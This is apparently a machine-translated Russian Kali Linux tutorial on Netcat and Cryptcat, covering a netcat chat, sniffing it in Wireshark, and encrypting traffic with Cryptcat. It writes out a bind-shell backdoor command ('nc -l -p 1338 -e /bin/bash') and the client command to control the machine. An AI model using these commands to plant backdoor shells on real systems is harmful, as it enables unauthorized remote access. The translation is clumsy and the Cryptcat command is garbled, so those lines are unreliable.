Netcat – это инструмент для отладки сети, который может считывать и записывать данные на компьютерах с использованием TCP или UDP, а также называется утилит TCP / IP.
Он способен выполнять роль ведущего и подчиненного для передачи файлов, захвата баннеров TCP, бэкдор-оболочек, сканера портов, перенаправления портов и сетевых чатов, также может выполняться с помощью Netcat.
В этом учебнике Kali Linux мы узнаем, как работать с Netcat и Cryptcat, и будет показывать разницу между ними.
Удаленная оболочка с Netcat: –
Выполните команду: nc -l -p 1338 -e / bin / bash
Прослушиватель будет прослушивать через порт 1338 и дает исполняемый файл -e для любого, кто имеет доступ к оболочке через / bin / bash
Теперь Kali Linux как бэкдор в вашей сети
Выполните команду на компьютере с Windows: nc.exe <Kali linux Ip> <listening port >
Выше проиллюстрированное изображение показывает машину Windows или любой клиент, который обращается к машине kali и контролирует ее с помощью команд Linux.
Комната чата
Выполните команду в Kali Linux: nc -l -p 1337.
Команда выше создаст сеанс TCP для приема пакетов с любого IP-адреса, который подключается к порту 1337, и теперь ваш собственный частный мессенджер готов.
Выполнение команды в Windows-машине: nc.exe <имя_принимателя Ip-адрес или Kali linux Ip>
изображение иллюстрирует слушателя через 443 порт и чат начинается !!!
Здесь и клиент, и сервер запускаются в чате с помощью netcat
Примечание. Разговоры между Kali Linux и Windows-машиной зашифрованы или нет ???? Давайте проверим с Wireshark!
Wireshark (инструмент захвата пакетов)
Следуйте за TCP-потоком в Wireshark, который фиксирует соединения и чистые текстовые сообщения.
Любой пользователь вашей сети может использовать Wireshark для просмотра этих действий.
Но все же у нас есть идея преодолеть эти проблемы.
Давайте используем шифрование
Cryptcat (шифрование netcat)
- Cryptcat имеет расширенную функцию, такую как использование шифров для шифрования четкой текстовой связи.
- Cryptcat использует сквозное шифрование с использованием алгоритма шифрования Two-Fish
Вышеуказанный комментарий: cryptcat – <lisener> <port> 8000
Команды Cryptcat будут такими же, как netcat
Выполненный бэкдор с использованием Cryptcat, давайте посмотрим ниже изображение сеанса чата с помощью Cryptcat.
Таким образом, мы видим, что cryptcat шифрует соединение.